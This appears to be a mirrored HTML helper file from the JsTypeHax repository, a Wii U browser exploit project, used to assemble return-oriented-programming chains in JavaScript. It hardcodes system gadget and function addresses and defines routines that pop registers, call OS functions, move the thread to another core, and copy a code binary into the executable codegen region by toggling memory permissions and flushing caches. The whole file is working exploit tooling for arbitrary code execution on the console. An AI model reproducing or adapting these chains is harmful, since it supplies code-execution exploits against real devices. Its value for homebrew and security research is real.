mirror of
https://github.com/wiiu-env/JsTypeHax.git
synced 2024-11-25 11:36:54 +01:00
132 lines
4.0 KiB
HTML
132 lines
4.0 KiB
HTML
<!--
|
|
This is just something for me to use a console on chrome to form ROP chains
|
|
-->
|
|
<script>
|
|
//Rop offset
|
|
{
|
|
ROP_POPJUMPLR_STACK12 = 0x0101cd24;
|
|
ROP_POPJUMPLR_STACK20 = 0x01024d88;
|
|
ROP_CALLFUNC = 0x01080274;
|
|
ROP_CALLR28_POP_R28_TO_R31 = 0x0107dd70;
|
|
ROP_POP_R28R29R30R31 = 0x0101d8d4;
|
|
ROP_POP_R27 = 0x0101cb00;
|
|
ROP_POP_R24_TO_R31 = 0x010204c8;
|
|
ROP_CALLFUNCPTR_WITHARGS_FROM_R3MEM = 0x010253c0;
|
|
ROP_SETR3TOR31_POP_R31 = 0x0101cc10;
|
|
|
|
ROP_memcpy = 0x01035fc8;
|
|
ROP_DCFlushRange = 0x01023f88;
|
|
ROP_ICInvalidateRange = 0x010240b0;
|
|
ROP_OSSwitchSecCodeGenMode = 0x010376c0;
|
|
ROP_OSCodegenCopy = 0x010376d8;
|
|
ROP_OSGetCodegenVirtAddrRange = 0x010375c0;
|
|
ROP_OSGetCoreId = 0x01024e8c;
|
|
ROP_OSGetCurrentThread = 0x01043150;
|
|
ROP_OSSetThreadAffinity = 0x010429dc;
|
|
ROP_OSYieldThread = 0x010418e4;
|
|
ROP_OSFatal = 0x01031618;
|
|
ROP_Exit = 0x0101cd80;
|
|
ROP_OSScreenFlipBuffersEx = 0x0103afd0;
|
|
ROP_OSScreenClearBufferEx = 0x0103b090;
|
|
ROP_OSDynLoad_Acquire = 0x0102a3b4;
|
|
ROP_OSDynLoad_FindExport = 0x0102b828;
|
|
ROP_os_snprintf = 0x0102f160;
|
|
}
|
|
|
|
//Rop helper
|
|
{
|
|
var ab = new ArrayBuffer(0x10000);
|
|
var ropCurrentDv = new DataView(ab)
|
|
var ropChain = new Uint32Array(ab);
|
|
var ropCurrentOffset = 0;
|
|
|
|
function ropchain_appendu32(val)
|
|
{
|
|
ropCurrentDv.setUint32(ropCurrentOffset, val);
|
|
ropCurrentOffset += 4;
|
|
}
|
|
|
|
function ropgen_pop_r24_to_r31(r24, r25, r26, r27, r28, r29, r30, r31)
|
|
{
|
|
ropchain_appendu32(ROP_POP_R24_TO_R31);
|
|
ropchain_appendu32(0x0);
|
|
ropchain_appendu32(0x0);
|
|
|
|
ropchain_appendu32(r24);
|
|
ropchain_appendu32(r25);
|
|
ropchain_appendu32(r26);
|
|
ropchain_appendu32(r27);
|
|
ropchain_appendu32(r28);
|
|
ropchain_appendu32(r29);
|
|
ropchain_appendu32(r30);
|
|
ropchain_appendu32(r31);
|
|
|
|
ropchain_appendu32(0x0);
|
|
}
|
|
|
|
function ropgen_callfunc(funcaddr, r3, r4, r5, r6, r28)
|
|
{
|
|
ropgen_pop_r24_to_r31(r6, r5, 0, ROP_CALLR28_POP_R28_TO_R31, funcaddr, r3, 0, r4);
|
|
|
|
ropchain_appendu32(ROP_CALLFUNC);
|
|
|
|
ropchain_appendu32(r28);//r28
|
|
ropchain_appendu32(0x0);//r29
|
|
ropchain_appendu32(0x0);//r30
|
|
ropchain_appendu32(0x0);//r31
|
|
ropchain_appendu32(0x0);
|
|
}
|
|
|
|
function ropgen_switchto_core1()
|
|
{
|
|
ropgen_callfunc(ROP_OSGetCurrentThread, 0x0, 0x2, 0x0, 0x0, ROP_OSSetThreadAffinity);//Set r3 to current OSThread* and setup r31 + the r28 value used by the below.
|
|
|
|
ropchain_appendu32(ROP_CALLR28_POP_R28_TO_R31);//ROP_OSSetThreadAffinity(<output from the above call>, 0x2);
|
|
|
|
ropchain_appendu32(ROP_OSYieldThread);//r28
|
|
ropchain_appendu32(0x0);//r29
|
|
ropchain_appendu32(0x0);//r30
|
|
ropchain_appendu32(0x0);//r31
|
|
ropchain_appendu32(0x0);
|
|
|
|
ropchain_appendu32(ROP_CALLR28_POP_R28_TO_R31);
|
|
|
|
ropchain_appendu32(0x0);//r28
|
|
ropchain_appendu32(0x0);//r29
|
|
ropchain_appendu32(0x0);//r30
|
|
ropchain_appendu32(0x0);//r31
|
|
ropchain_appendu32(0x0);
|
|
}
|
|
|
|
function ropgen_OSSwitchSecCodeGenMode(flag)//flag0 == RW- permissions, flag1 == R-X permissions.
|
|
{
|
|
ropgen_callfunc(ROP_OSSwitchSecCodeGenMode, flag, 0x0, 0x0, 0x0, 0x0);
|
|
}
|
|
|
|
function ropgen_memcpy(dst, src, size)
|
|
{
|
|
ropgen_callfunc(ROP_memcpy, dst, src, size, 0x0, 0x0);
|
|
}
|
|
|
|
function ropgen_DCFlushRange(addr, size)
|
|
{
|
|
ropgen_callfunc(ROP_DCFlushRange, addr, size, 0x0, 0x0, 0x0);
|
|
}
|
|
|
|
function ropgen_ICInvalidateRange(addr, size)
|
|
{
|
|
ropgen_callfunc(ROP_ICInvalidateRange, addr, size, 0x0, 0x0, 0x0);
|
|
}
|
|
|
|
function ropgen_copycodebin_to_codegen(codegen_addr, codebin_addr, codebin_size)
|
|
{
|
|
ropgen_OSSwitchSecCodeGenMode(0);
|
|
ropgen_memcpy(codegen_addr, codebin_addr, codebin_size);
|
|
ropgen_OSSwitchSecCodeGenMode(1);
|
|
|
|
ropgen_DCFlushRange(codegen_addr, codebin_size);
|
|
ropgen_ICInvalidateRange(codegen_addr, codebin_size);
|
|
}
|
|
}
|
|
</script>
|